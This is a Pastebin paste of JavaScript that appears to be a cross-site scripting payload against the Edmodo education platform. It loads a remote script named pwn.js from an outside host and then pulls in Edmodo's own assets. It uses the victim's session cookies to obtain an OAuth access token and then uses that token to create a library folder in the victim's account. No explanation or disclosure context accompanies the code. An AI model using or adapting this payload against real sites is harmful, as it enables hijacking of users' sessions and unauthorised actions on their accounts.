Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $.getScript('https://kaval.tech/pwn.js')
- $.getScript('https://assets.edmodo.com/e11.billygoat.js.all.76fe495c2ccc48d5.js')
- $.getScript('https://assets.edmodo.com/e10.landing.js.all.f7f2c6b011a1e739.js')
- $.getScript('https://assets.edmodo.com/e11.billygoat.templates.all.templates.3f21f991a4eba98d.js')
- $.getScript('https://assets.edmodo.com/e.base.js.all.1e6775abb59482da.js')
- $.getScript('https://assets.edmodo.com/e10.core.js.all.1349ef16baa9306d.js')
- $.getScript('https://assets.edmodo.com/e10.e1.js.student.87be7826164b829c.js')
- $.getScript('https://assets.edmodo.com/e10.e2.js.student.325c6cf2eb9f0c27.js')
- $.getScript('https://assets.edmodo.com/e10.e3.js.student.9eca7bcadb33031b.js')
- $.getScript('https://assets.edmodo.com/locales.en.all.locales-yaml.7d2f661e94b8aab1.js')
- $.getScript('https://assets.edmodo.com/e11.billygoat.templates.all.templates.3f21f991a4eba98d.js')
- setTimeout(xfo(), 2000);
- function xfo(){
- var xyz= '';
- var xhr1 = new XMLHttpRequest();
- xhr1.open('POST', 'https://api.edmodo.com/sessions/from_cookie?request_origin=react-web-app', true);
- xhr1.setRequestHeader('Content-type', 'application/json');
- xhr1.withCredentials = true;
- xhr1.onload = function() {
- var slaw= xhr1.response;
- var obj = JSON.parse(slaw);
- xyz = obj.access_token;
- xjx();
- };
- xhr1.send('{"client_id":"'+Billygoat.config.oauth.client_id+'","scope":"all","react_app_request":true}');
- function xjx(){
- var xhr = new XMLHttpRequest();
- xhr.open('POST', 'https://api.edmodo.com/library_items?access_token='+xyz+'&request_origin=react-web-app', true);
- xhr.setRequestHeader('Content-type', 'application/json');
- xhr.onload = function () {
- console.log(this.responseText);
- };
- xhr.send('{"type":"folder","parent_id":null,"item":{"name":"c"}}');
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement